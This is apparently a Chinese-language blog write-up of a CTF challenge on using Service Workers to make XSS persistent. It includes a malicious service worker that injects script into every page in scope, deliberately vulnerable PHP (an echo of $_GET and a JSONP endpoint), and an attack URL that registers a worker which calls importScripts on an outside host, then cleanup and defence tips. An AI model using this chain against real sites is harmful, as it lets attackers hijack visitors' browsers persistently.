Service Worker xss 持久化

前言

在西湖论剑中遇到一道hard xss的题目,后来看见wp感觉很有意思,于是学习了一下相关的知识点。

web Worker

一个网页主要有两个线程,一个UI线程,一个js引擎线程,所以无论js代码如何编写,效率并不能得到太大提升, 并且ui渲染和js解析线程是互斥的,在js执行的时候,ur页面会被阻塞,为了使在进行高消耗的js的时候ui页面任然正常进行,web Workers就解决了这一问题:

web Worker特点

  1. 只能服务与创建他的页面,不同页面之间不可以共享一个web Worker。
  2. 当页面关闭时,所创建的web worker也随之关闭。

主要作用:

模仿多线程,运行复杂的脚本在后台运行,但是不能喝DOM交互,通过postMessage通信

Service Worker

Service Worker 是浏览器在后台独立于网页运行的脚本,它打开了通向不需要网页或用户交互的功能的大门。

service Worker特点:

  1. 按照同源策略服务与不同页面
  2. Service Worker常驻在浏览器中,即便注册它的页面已经关闭,Service Worker 也不会停止。本质上它是一个后台线程,只有你主动终结,或者浏览器回收,这个线程才会结束

Service Worker拥有众多API,没个API拥有着不同的作用:

这里主要了解一下Fetch:简单来说可以拦截指定的url下的所有请求,执行相关的操作

具体详解:Service Worker api)

Service Worker 生命周期
  1. 下载
  2. 安装
  3. 激活

局限性:

只能注册在https和localhost上。

下图详细阐述了二者的区别:

image-20201114170528846.png

注册Service Worker

if ('serviceWorker' in window.navigator) {
  navigator.serviceWorker.register('./zero.js', { scope: './' })
    .then(function (reg) {
      console.log('success', reg);
    })
    .catch(function (err) {
      console.log('fail', err);
    });
}

zero.js

 this.addEventListener('install', function (event) {
    console.log('service worker install!');
});

this.addEventListener('activate', function (event) {
    console.log('service worker activate!');
});

本地演示:

image-20201114151558171.png

可以看到成功注册Service Woker,并且返回了相关的信息。image-20201114151929822.png

比较重要的几个点:

url:必须是同源且是https或者localhost,而且content-type必须是text/javascript,等效的Content-type也行。image-20201114152538040.png

scope:

这个参数直接决定了Service Worker的控制范围,如下:

navigator.serviceWorker.register('./zero.js', { scope: './' }).serviceWorker.register('./zero.js', { scope: './' })

这里可控范围是localhost/

navigator.serviceWorker.register('./test/zero.js', { scope: './' })

报错,可控范围有js决定.应改为{scope:"./test"}

localhost/test/

演示:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Service Worker</title>
</head>
<body>
        <h1> Service Worker test</h1>
        <script>
            if ('serviceWorker' in window.navigator) {
            navigator.serviceWorker.register('./zero.js', { scope: './' })
            .then(function (reg) {
                console.log('success', reg);
            })
            .catch(function (err) {
                console.log('fail', err);
        });
}
        </script>
</body>
</html>

zero.html

 <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Service Worker</title>
</head>
<body>
        <h1> 这是一个正常的页面</h1>
</body>
</html>

zero.js

 self.addEventListener('install', function(event) {
 
        console.log('install ok!');
});
 
self.addEventListener('fetch', function (event) {
        event.respondWith(
            //console.log(event.request)
        caches.match(event.request).then(function(res){
        return requestBackend(event);//没缓存就进行缓存
        })
        )
   });
 
function requestBackend(event){
        var url = event.request.clone();
        console.log(url)  //打印内容是打印到请求页面
        return new Response("<script>alert('sw working')</script>", {headers: { 'Content-Type': 'text/html' }})
}

当成功注册后任何localhost下的任何域都触发我们的xss:image-20201114162730800.png

利用扩展:

  1. 可控的xss
  2. 能够控制js文件

    1. 文件上传
    2. 可控的jsonp

jsonp利用条件:

xss.php

 <script>
<?php
echo $_GET['name'];
?>
</script>

jsonp.php

 <?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['callback']);
$json_data = '["test","test"]';
echo $jsoncallback . "(" . $json_data . ")";
?>

至于jsonp跨域问题,主要就是xss和信息泄露了。

有了这两个条件我们就可以利用了:

攻击如下:

image-20201114164815009.png

xss.php可控xss;

 http://localhost/xss.php?name=navigator.serviceWorker.register(%22jsonp.php?callback=importScripts(%27https://xxxx.com/zero.js%27);//%22)

navigator.serviceWorker.register注册一个service worker默认不允许跨域,这里利用jsonp.php扩展攻击链。

importScripts方法加载外部js。

恰好jsonp默认返回的是application/javascript,和text/javascript是等价的。

由于没有https服务器,所以就没有演示了。

清除

中招之后清除的最好办法就是清除浏览器缓存。

防御

  1. html实体编码防止xss
  2. 上传的文件尽量放在第三方
  3. jsonp域杜绝一切xss

参考:

https://lightless.me/archives/XSS-With-Service-Worker.html

西湖论剑hard xss

Last modification:March 27th, 2021 at 02:44 pm